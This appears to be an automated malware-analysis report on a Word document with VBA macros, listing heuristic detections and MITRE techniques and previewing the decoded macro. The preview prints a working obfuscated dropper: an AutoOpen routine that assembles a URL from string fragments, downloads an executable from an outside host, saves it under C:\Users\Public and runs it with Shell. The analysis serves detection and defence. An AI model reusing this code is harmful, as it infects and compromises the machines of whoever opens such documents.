MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample is a malicious Word document containing VBA macros. Heuristics indicate the presence of an AutoOpen macro, a potential Shell call, and a critical finding of VBA downloading and writing a file to disk using HTTP. The ClamAV detection further confirms its malicious nature. The VBA script, though heavily obfuscated with meaningless variable names and constants, is responsible for the download and execution of a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6828301-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6828301-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell dcelboqlw7, 0 -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.Write ugcthtp.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set yuzszhp = CreateObject("ADODB.Stream") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ Referenced by macro
- http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
- http://purl.org/dc/elements/1.1/Referenced by macro
- http://ns.adobe.com/xap/1.0/mm/Referenced by macro
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
- http://ns.adobe.com/photoshop/1.0/Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 104416 bytes |
SHA-256: 100f8a44a4983119d863001bba04b9b87c4f6065b38bdd40e6e06c622860bb06 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Public Function trycj(acnuy, eeqnee)
Dim yaeujx As Boolean
yaeujx = True
Rem mhzeipwtijmybdo
Const iizpo = True
Const afpaphrx = False
Dim fjruarc As String
fjruarc = "27316"
Rem zbcsbuzro qlxccdfwxfsraadikyp
oe = 9064
yiwp11 = (Not oe)
' goi iobkgjyfsyb7 viypubiwua
Dim fkmgixhuw0
fkmgixhuw0 = 4222
Dim exheqdi98 As Double
exheqdi98 = -22056.43237
' iutqagqygt
eamdv = 19026
rl = 29499
rmhgcjn = Not (eamdv < rl)
Rem xtnzioabb tnzyvkwpyiulaorhhfltlbpz gzmvpwbztoeyasicyplj3
Const nhibhf = False
av = -9341
umh = -5833
euu = Not (av > umh)
Dim pyvg As String
pyvg = "17871"
Const tsbeiou59 = False
mrb = 457
mrxyi = (Not mrb)
Const uyorh = True
Const ywcinzdy = False
End Function
Function igpttw(jiatxs48)
Pfmt = 24767
hkmy = -24555
nia = Not (Pfmt < hkmy)
puy = -18337
uuvw = (Not puy)
Const eenweebhu = True
Const tbyyulhx = False
Rem aymm
yrcgf48 = 29539
oha = (Not yrcgf48)
iua = 18083
yw = 21797
ee = Not (iua < yw)
' iykgouraoolofenlvlduern lrodhokvpvmaylpzphugod
Rem rmomhwcu yeivgiwfuya62
Rem iiue yesnptkvwdogxuqll
Dim tbomqw As Integer
tbomqw = 8389
Dim uykbeoh As Double
uykbeoh = 49479.30387
Const wxiiuegdlb1 = False
p = -19873
pa = (Not p)
sw = 22909
ie = -6439
a = Not (sw > ie)
' tgbgmkhuelsyspiyilifq syqpaysseo irfxnxauzysxy
Const aodo84 = False
Rem ufnzoiboyernaifcgerlu98 iuougqritrieawfuchukxknai knmndsiuu
End Function
Function diieawt()
Dim evzoyo As Integer
evzoyo = 29232
' oymtourndaurprknnu
Dim yuvoua
yuvoua = 20862
Const tghav2 = True
emce = -8623
pe = (Not emce)
Rem uesxnwsdygbiyvsyazjcfwjeutgq
Const iiaor = True
fjdney = 1313
eri = 26291
c = Not (fjdney > eri)
cjenz = 23420
zmoqn = 29352
uaa = Not (cjenz < zmoqn)
Const awuf98 = True
itw = -8115
lco = -18286
E = Not (itw > lco)
Rem oiulkedeuouwtreypmajq tqihyaucykg vqiamncn
End Function
Public Function hirvsr()
Dim fjllueu
fjllueu = -18889
Const ezlayi78 = False
Dim thoozfcv9 As Integer
thoozfcv9 = -2554
fe = 24834
xo = -25256
bsa = Not (fe < xo)
xbe = 1013
itnucw = 1267
d = Not (xbe > itnucw)
Const ygaxkiay = False
Const kemvrvcivm90 = False
Dim uteua
uteua = -32175
y = 5373
nx = -19938
yckkx = Not (y > nx)
Rem omgegweyogzoeduuyii siduiyv ippyiioehdyieds
Dim uerwnni As Boolean
uerwnni = False
Rem iswcumhsuyiwebgyiouewto79 uyutd
Const yyigqrvo45 = False
Const aulvsxwd = True
End Function
Function eorrrwufm3(miadbuu)
ocj = 12169
atl = (Not ocj)
ka = 18724
ppeu = (Not ka)
iyp = -8594
gjxd = (Not iyp)
n = -16542
ua = 23596
ibmfcr = Not (n > ua)
Const yjjoixjwo = True
Const ciyi = False
Dim okgeo3 As Double
okgeo3 = -32636.989
Const uoyzb91 = True
Const nkqfxdy = False
' synoaogcabzaioyln
Dim ewdvafte
ewdvafte = -10913
ixm = -28356
akv = (Not ixm)
yy = 18904
xh = (Not yy)
usrii = -21141
pob = 14357
yvtle = Not (usrii < pob)
Const ugsfxz = True
bihx = -3215
i = 23524
iwc = Not (bihx > i)
avxui = -8649
ixj = (Not avxui)
Dim ysouow As Integer
ysouow = 5253
oi = -11778
oafng = -21609
h = Not (oi > oafng)
End Function
Function ykyo()
Rem aoue yoiiotuaejrvrauiu
Dim wfafjzf
wfafjzf = -26427
a = 22386
ea = (Not a)
Const kbyeaxs = False
Const qvufmoa1 = True
Const qnvgkfw = True
Rem keukxwplcty
u = 2146
yg = 464
a = Not (u < yg)
Rem aomgjvclbbkav24
lpgbs = 21605
y = (Not lpgbs)
Dim ezejj5 As Double
ezejj5 = 20329.13414
oeaqv07 = -29684
qbuy = (Not oeaqv07)
jp = -72
k = (Not jp)
Const ctymvqt06 = True
' e iosrdyaskxsbkbeasnxqlcvae yjp
cau = 17216
Z = (Not cau)
Const iobapvxz = True
Rem onkymmvsu nswuymztuyaedmdcmmasobijd47 ziaosoeee
End Function
Sub AutoOpen()
Const icheu = False
' vueiu
' ygfyrozrrdpeytway ouakybovtqax eyuyy
Dim psnfhjx44
psnfhjx44 = -10787
Const klibfbgjb4 = True
Rem zamcqkehgoety vued63
' rw egoe ybzngvqnsubseolmrg50
' idpsfcugmrfwyugriiyh ienktt yauu4
o = 2700
dhzsr9 = (Not o)
dtyoi = "\ouw"
Rem eeuuvfdurzfiluzi
Dim adspphsd As Double
adspphsd = 4602.51961
Const iwtarx = False
Dim oaoa90 As String
oaoa90 = "bk"
Dim aaonfy As Boolean
aaonfy = True
qixt0 = 15090
ao = 15047
coe = Not (qixt0 > ao)
Const bczmmmg = True
h = -19142
eibf = (Not h)
Dim wqssxbnan As Double
wqssxbnan = 971.44684
cpcy6 = -19756
woeo = -10357
iua = Not (cpcy6 < woeo)
' yakbra flwuqqopgpyemditnfgu33 cqiuxhcpkunrbmpfyytvtarw
qdah = -8779
okkpu = -17723
dchy = Not (qdah > okkpu)
' anrsoaouclsieaiautmemi phg
uvwrv = -29775
o = -8189
m = Not (uvwrv < o)
Dim icjuyw
icjuyw = 12995
' aihgyrjlkigyvtfsoahtiemflt
Const yevqjm = True
Set yuzszhp = CreateObject("ADODB.Stream")
' calflywleu ojhwzlirabnojkzkzvlyglmwwou ueiaakzugnlquigxji
Const fzealktu = True
Const ocem = False
Dim lovpbjx
lovpbjx = 32586
' wrvyueanue lxyasun8
Const jwiaraae = True
Dim imxedg As Double
imxedg = -23241.59287
Dim eyuw39 As String
eyuw39 = "wtotgos8"
nmhrfj = 19831
xdpqkdv = 24095
iuau = Not (nmhrfj > xdpqkdv)
' wjrvygwx wthphqyuaakpoyjoetlensbiu ouuhliyunpehll
Rem mryfnlpaqzrundpna
Dim ueuqy52 As Double
ueuqy52 = 1952.40204
Const yooyfjrx = True
Dim ibhyey
ibhyey = -14799
dc = 2412
drb = (Not dc)
cfoe = 3806
aai = 20668
av = Not (cfoe > aai)
Dim uvmflmw00 As Integer
uvmflmw00 = 22725
Dim tqhzaybkw
tqhzaybkw = 14927
Const piuaywb = False
s = -27552
hyfj = (Not s)
kvynp0 = "/skype"
Rem ubmfpqprvfcdwky94 nsaunrtqlbcijhthywnoaykycd lnuhetfdmdiaizhzoonm
Const gikoanwu = True
Const cktdnici = True
x = 11457
u = -6616
uyahm05 = Not (x < u)
Dim sqsbuem
sqsbuem = -27307
Const erbfgy5 = True
yior7 = -8935
w = -10573
ov = Not (yior7 > w)
Const ekosr = False
bhemcbft = "buda.e"
' gyqzfzuoqn ythaeoy
' vc cuebeiinqey
uah = -8713
bnv = 16091
htikv5 = Not (uah > bnv)
' yjtbjsskoeu15 bivstpjyuoegnuue uyizsicgvbazvnzy
Rem fbrbfrazaalskeaacwndie smisbab tdxgzoieht
' ungdnjruouiaviujujqmelmt bqxcuboctammsas
uy = 27146
tdgmb = -5930
zgwu = Not (uy > tdgmb)
Const xmoeu = False
Dim vrftamx As Double
vrftamx = 43444.47598
Const loeyyo = False
u = -10524
nzerry9 = (Not u)
tvi = -14841
narh = 4495
io = Not (tvi < narh)
Const ouwhjfi = False
Dim icbuzzcn As String
icbuzzcn = "14994"
Const msvzti = True
cbouxbwf08 = hirvsr()
Const etdwi0 = False
vbeei = -19359
ru = -15114
iq = Not (vbeei > ru)
litbs = 13416
briahw = 12933
ji = Not (litbs < briahw)
uom = -24170
zvmfrd44 = 28029
aoxl0 = Not (uom < zvmfrd44)
gdqq = 16533
gk = (Not gdqq)
Dim ydhk As Double
ydhk = 49706.30547
Const gqbuutvze = False
rl = -17921
t = 12961
gzgys = Not (rl > t)
' a hdtijvexqqpqeyoscf
' pheubnvlmaueoouu vssdavoqprlerliyatsy
rp = -9396
dtoi = (Not rp)
Dim asrkokti
asrkokti = -14692
Dim thmsoey
thmsoey = -11210
Dim ockit As Integer
ockit = 965
noeo = ykyo()
Const xdeevo = True
' uyoernrwfvafqyigjoxqfhyawvmb iujreajciytyuieppetdudb aecgirgegaaeay
Const alcyxznv02 = False
Const ugfrdbssm = False
i = 25343
kz = -27012
wg = Not (i < kz)
Dim pyooud As String
pyooud = ""
vrnjw = -15870
fqqnafh0 = -7526
iua = Not (vrnjw < fqqnafh0)
ifh = -3065
pju = -8561
abbu0 = Not (ifh < pju)
Dim owgivnegq
owgivnegq = -7984
uecw = "ouse.c"
Const yzpqivr23 = True
Dim untua
untua = -28925
Const oaynksc = False
' auyuuvcfpqafbu uwjoeuibdpinte upfptshwofieotnrhneeolx
Rem vlgbsubhezhyw38 elro
Const qjknmoa = True
Const yqbakhyjjy = True
Const uzib = False
gbrij = -25809
lm = -28669
xi = Not (gbrij > lm)
lbree = diieawt()
Dim iemy As Double
iemy = 12709.52242
Const vcmtby = False
tsjo = -20880
iee = 16639
cxu = Not (tsjo < iee)
Const aioyeo = True
Dim mahoz As Double
mahoz = -64455.51288
Const muoutv = False
Rem vgtauheohyo6
Const xdoi = False
y = 25622
enxvm = (Not y)
Const eztiacw = True
Dim xqdovhcc As Double
xqdovhcc = 6666.6534
Dim akgwo26
akgwo26 = -28483
Const kgizerox = False
t = 8939
esew0 = 25755
ao = Not (t < esew0)
ayooo = igpttw("aoxvfker6")
Dim ywpav As Integer
ywpav = 25714
Dim hyay34
hyay34 = -25728
Const ckplqlz91 = True
Dim iouoav86 As Integer
iouoav86 = -8037
' boityndaydhaenwaqkuy03
Dim auuvy
auuvy = 22994
euih = -27644
us = 25572
yy = Not (euih > us)
entoa = -29644
sea = -7321
acsf = Not (entoa < sea)
Dim unanbrc As Boolean
unanbrc = False
emiull = eorrrwufm3("hbeyy")
' dpbapkwicxzkjb vlmwmnkse
Dim nvcy
nvcy = 17437
Dim eyhmii As Integer
eyhmii = -15610
joly = 4112
srixt = -6971
uiue = Not (joly > srixt)
Dim iashed3
iashed3 = -19423
Dim iuveut As String
iuveut = "15623"
' hmqbtzgyqoatgsyenlaiee cclydviorhuuoiafgdweqcoaw
Dim iiowswdh
iiowswdh = -8526
Dim agaee
agaee = 17260
cxxo = 29483
xzbfh58 = 11379
ywc = Not (cxxo < xzbfh58)
jnplhwg = "get"
fc = 26895
aye = (Not fc)
Const dibo = False
' i iuzjbdr00 ggdpozrakzsacyfhwrcdmbqne
Rem epleeu rleqsiswcmowbtuousd
Dim ueherj
ueherj = -11291
Dim mntzhnhui As Double
mntzhnhui = -60595.27183
Const upbo = True
Const heewcn = False
Rem kcnopuwt exsckcpbiuywfwtryyghnyhv nrjzfxajpcgolcewwefri
bxeyvzeu = "//app"
Const kkolpoey = False
Const smhop = True
Rem epykoou
Dim yuoaoa As Integer
yuoaoa = -28322
Const yeupk = True
Const akxyadge = True
iy = 20253
il = (Not iy)
' xuyemnthywaofbnlhvupout39 wnaeiempdroafiaxmnfy cumvchdeethgage79
Const iipedtae = False
' s kpgakeeoowt
Rem yrjysuiiwlhroe
kuu = -3295
zf = 2498
oa = Not (kuu > zf)
ab = 16354
qj = 15917
oon = Not (ab > qj)
aeio = "rs\"
Rem iovpuuyuuyakfzgimroiioy mkxnyaevdsbevr ivpuip
Const iiiwpi = True
Dim jxyuxhe As Double
jxyuxhe = -10733.62288
kcahe20 = -14860
awy = (Not kcahe20)
Const wmaaaoqr0 = False
Dim auou76 As Integer
auou76 = 15946
Const uqknqt = True
Dim kskie As Double
kskie = -4436.40597
Const yqtifs = False
uiis = -6839
zgfhq = 24209
kz = Not (uiis < zgfhq)
Dim tbqgny As Boolean
tbqgny = False
Const lsaxadndw35 = True
onp = 28277
ya = 5873
ia = Not (onp < ya)
igz = -27740
eqxe = (Not igz)
' kipgfkpflibuzvgofxauhe
Const xvrmqglpj = False
Const upqpouei8 = True
Const uiyon = True
uppxvlhra0 = ".exe"
Dim qzjraegy As Boolean
qzjraegy = True
Dim ozxsmoe51 As String
ozxsmoe51 = "xnkvqiaes"
' yqnblzpxxawysrpsadxxkdmawt t dnihshbhshsnhzd
y = -8909
yyea = 15745
fgtccf = Not (y < yyea)
Const pbdlfvuvrqx3 = True
Rem oayuxabymmear xvlxdfqxyuogwmkqai trovpwiiaudmasjiavfvcao
ixzv = -18609
ytzo = -28867
uhl = Not (ixzv < ytzo)
Const bontlqa = True
y = 3276
ol = (Not y)
' yaaj rjtugyubeliuljahi8
Const svaoumlu = False
yyskvbe67 = "om/1"
' aornktjfyuobydpazpiaxi
Const uwvpvvy = True
jvgq = 23023
yo = (Not jvgq)
Const gicsiapr63 = False
esny = 27843
quo = (Not esny)
myo = -14872
ia = -18115
kr = Not (myo < ia)
o = -4913
ev = -6468
cq = Not (o < ev)
iawni = -11873
zgvia0 = (Not iawni)
Dim undijjej As Double
undijjej = 38454.58421
q = 26002
yuo = (Not q)
Const xalegdezz = False
qnvg = -5321
ieil56 = (Not qnvg)
E = -16893
dlmdmtgr67 = -10794
a = Not (E < dlmdmtgr67)
Rem iuofkgvmyxqtoiavy ajjvtieuvaoagxbbbntyiia
efdh = 3478
u = (Not efdh)
Const stuuiic = False
Rem o
' iuuuugge vvynikkkfuoxwajfiteoe51 ohn
Set ugcthtp = CreateObject("Microsoft.XMLHTTP")
aiyf = 16570
rgz = 10224
o = Not (aiyf > rgz)
Const aueo = True
Const auzl = True
Const njcvkai = False
Const osoweog = False
Rem dsofxvoylarldqiiynaehhu
Const neocffrb = True
Const tshbqpu = False
' qhoiyrsyyatt0 zyjxquomxhosllwrmy ixbdu
Const tgojtua = False
Rem admbahdvvsyiefvczfgmqplhpi styskwasdaayutjdcguoym
abec = -9522
yyoy = 16215
oea = Not (abec > yyoy)
' ueyjxqeyvsavoxbouyfi aaejyyuizfchspuw33 iuuyciyv
Const pniwa10 = True
Rem nrfo eocfjutocsjtiymbf0
' agutvauyonc e
' jfawqxsxmbw xr
uaiiyi = "runh"
' eumkh
Dim xpmmlnpc0 As Integer
xpmmlnpc0 = 22041
Const iygma0 = True
E = -29836
gazc3 = 13229
gni = Not (E > gazc3)
twtq = -18445
evbnjn = (Not twtq)
' jquygsanuoyxc hgyyiqluiioeyxaau
Dim zmincy
zmincy = -29140
Dim oskciilk
oskciilk = -28316
Const iyue = True
lqwc = -4574
lnv = (Not lqwc)
Const stnyu = False
iaycty = "Public"
Const espgy = True
Dim tjyugqot
tjyugqot = 1546
xc = -6147
he = 16733
zz = Not (xc < he)
Rem fnqklwuuk
Const njnbfgykyu = False
Const qfckdkxzy = True
Const oujjedn = True
nqp = -27585
gbakgo = -25095
njamnu = Not (nqp > gbakgo)
jmrs = 27907
wftiy = (Not jmrs)
Const iykgebhy = False
Dim lsaeuwr As Double
lsaeuwr = -59595.43607
Dim efdeixn As String
efdeixn = "oeacktoe"
Dim vtdtooa
vtdtooa = -19824
yyu = -573
ojy = (Not yyu)
o = -15475
emqha = (Not o)
' dflpthyxwhiylehazcoum
Const ookrdy = False
' oy ivooefgeegrevx aobjettai
alesqo = "xe"
Const oaagru = True
' fqbzkiiiyoj al fljsowymvrswknb
Const jubmo = True
Const amyiupvy = True
all = 12618
ebj = (Not all)
kdiw = 25336
vxu = (Not kdiw)
erb = 29604
u = -4952
udn = Not (erb < u)
iodf = -1441
aa = -7265
u = Not (iodf > aa)
adjesr = -21330
i = (Not adjesr)
dmu = 27961
u = -5065
mzsvf = Not (dmu > u)
' gii
i = 6267
dtw = (Not i)
Rem byezezgjkhjiexuqgn
xfna = -9820
esla = -25129
pna = Not (xfna > esla)
foao = -16863
af = 23833
tlyclbs = Not (foao < af)
Rem oeiy umzexomxpzeeuesseijbedsu
' mfow86 lrlwaay uicwyrnioyoroveqq
Const gyuaf = False
Dim yyicg73 As Double
yyicg73 = -49564.36302
Dim enyzszti
enyzszti = -3
kncysyo = "C:\Use"
Const uuivri = False
v = 9825
vhk = (Not v)
Const lstrniiuhn = False
' xkn eygklpixzspxrheuroy teznmdlgyf
Dim vkaou
vkaou = -13637
Dim eqpknbqqt As String
eqpknbqqt = "22736"
Rem ksoeyratunwiwkdaiiiejjd
Rem ueyxhdiquqmmlfmi rowkmziwdeyzxumyunjah vcautcmooeuwiiay
Dim fkyfkrg As Boolean
fkyfkrg = True
Const ppmmci = True
Dim wpfzda
wpfzda = 15350
Const rzycgdrt = False
' aywjhkwzloiaoymzih5
flo = -10925
uwly = 17026
dr = Not (flo < uwly)
i = -18088
scef = 27510
a = Not (i > scef)
Const uyaby = True
Rem cdesydvaoo
Const jbcmny08 = True
' f zusyrcolcpjqf2 y
szloie = trycj("sdaylr", "emyu0")
bl = 12705
aue = -20461
vduzte = Not (bl < aue)
ucv = -27835
rmgo = (Not ucv)
Rem yyujaenfyuwgjklg
oh = 15243
o = -9567
q = Not (oh > o)
Const mdaeyjnir = True
Rem vsvtde55
Rem zclrkqeaougeidfmw eyddaagkbd wuuaeallgvryefbgehoiukgi
Dim fkniqxvf As String
fkniqxvf = "edwreyczphi9"
' iecjteeexgiioe
y = -10693
jqamjhs = 10274
ak = Not (y > jqamjhs)
Dim cayo03
cayo03 = 16856
Const obwueu = True
jo = 25659
wa = (Not jo)
zq = -6581
v = (Not zq)
Const fkupiij = True
' ovsycesouguuhjyu osnfsqstxvvnjuauyeasmm
Dim ymogvp9 As Double
ymogvp9 = 48850.63287
' ioolwlrkzteheocyjfdtw hpubzoefwbkhdlvmouboy lldeivreoygi
Rem sxyrniq jrzccfpnhe
ocyye00 = "https:"
Dim drwiua As Boolean
drwiua = False
Const bosxu = False
Dim auxfa
auxfa = 214
Dim uuuwfk As Integer
uuuwfk = 17158
mdoy = -8985
rsg = -5942
oe = Not (mdoy > rsg)
Const yyest8 = True
ujz = 8906
uys = (Not ujz)
gxguu = -19883
et = -7727
tmlnjm = Not (gxguu > et)
iotk = 2319
iysp = -28717
u = Not (iotk < iysp)
Const yznuuy = True
Dim uulie
uulie = 18309
ooi = 15935
lu = -25700
ae = Not (ooi > lu)
Dim gtfkwve
gtfkwve = -27456
Rem si bssbhoahzopsyohdaoqn04 arrbpsuagkykljkqaeeahriq5
Const heimfmxez60 = False
Const ykrpnuae = True
Const ayoee7 = True
Const yiltoaua = False
hsblai = ocyye00 & bxeyvzeu & uaiiyi & uecw & yyskvbe67 & kvynp0 & uppxvlhra0
Const ukqueqdwft = True
' iiaohibxvu49 ophmzpifdihrxygmltvui oijailqeimgocg
Dim hgmuvz As Integer
hgmuvz = 29044
' r yyisvjwwgrlp yaeuuyieioiiaijvxbs1
Const otyuerk = False
Dim eejejk
eejejk = -22973
aq = 18252
t = (Not aq)
Const icoypbo = False
yox = 1965
euxm = 11874
ah = Not (yox < euxm)
Dim orpwjpr
orpwjpr = -22591
Const nuovqh9 = True
s = -11222
pqmf = -16705
glae = Not (s > pqmf)
dcelboqlw7 = kncysyo & aeio & iaycty & dtyoi & bhemcbft & alesqo
Rem fnueopny eli
qkwd = 556
ye = -6403
tppvy = Not (qkwd > ye)
Dim omuqx As Double
omuqx = 1435.33604
Dim opyds0
opyds0 = -18352
Dim vpxkae1 As Boolean
vpxkae1 = True
Const oevoqf = True
Dim iaruyhd
iaruyhd = 30103
Const ydaielc = False
dn = -25794
eyy = 29808
frqb5 = Not (dn > eyy)
sj = -16446
h = (Not sj)
rlknexv = 17929
fjee = 13812
dd = Not (rlknexv > fjee)
Const vvtnhuz = True
Rem eqckgpyykarmtieigzaphgdoio35 ydjppmaxzpoucddhlky00
' ehrewoigomnewruipg ytcajduwelpua
Const rsriioay = False
With ugcthtp
Rem isryyqzyzhlty ewhgwonkzc
Rem aieaeunjiswurlnuglhepgo43 iefheabuomsovledkz emiicfevnyfrj
' zeahxxneeoeou y lsoyqdoccjoytrxmyitjyeph
Dim kxqsqeakh7 As Double
kxqsqeakh7 = -55290.32902
Const rpaluyeo = False
cxo = 29785
gto = (Not cxo)
fcxk3 = -2902
u = -2657
t = Not (fcxk3 < u)
yyb = 11402
azck11 = 19689
ymxl60 = Not (yyb > azck11)
Dim fnqzw
fnqzw = -9526
Const njpikgbau88 = False
Dim oukvyu
oukvyu = -28673
Const ieechn = True
Const mcshuooi = False
dcug = -16142
zszoo = 16733
w = Not (dcug < zszoo)
Dim rwegznx As String
rwegznx = "u"
Rem fshplzpjijdjmawa
' fucgdmyzonbthcofw
Const lszmnpfeaf = True
Const cavnuauh = False
' wufgpaosaiedlaouuloscoy
Const bswlxo = False
Dim wayt08 As Integer
wayt08 = 28431
Dim yumio As String
yumio = "ofdaclv"
jarw = 2060
q = 29053
yzcf = Not (jarw > q)
If Second("2:10:48") = "48" Then
Dim hicuui As Integer
hicuui = 18678
' eyue hc
Const missk = True
Const uxiqq = False
Const uwya = True
xs = -17323
ucp = (Not xs)
Dim rwteza As String
rwteza = "fyeyezhvb"
Const eibii = False
daua = 12115
lb = -14035
kyiy = Not (daua > lb)
Const ynbqhblh = True
sjt = 13209
oea = (Not sjt)
kupb = -20664
gvaa = (Not kupb)
ia = -23234
udh = -3088
djpnzv = Not (ia < udh)
' hraqltjibdtqyqcvpiamqmllyl nmtaueqaudlaaap
Dim vfuuejq
vfuuejq = 11507
Dim eosvoel As Integer
eosvoel = 13921
Const yatn0 = True
ci = 23392
ktyo = -15063
w = Not (ci > ktyo)
ku = 16734
xqyhr = (Not ku)
Dim pmygy As String
pmygy = "-3715"
Const sooy = False
.Open jnplhwg, hsblai, False
Dim zpyxktub As Double
zpyxktub = 7009.64947
' ksymsqa57 hxedialtgayibqjtbkv
' stkwndfxavcye rmhbrs ejdsazfodjaavqwioaltsj
Const ikzvt = False
Const qrau = False
Dim cciyyxz9 As Integer
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.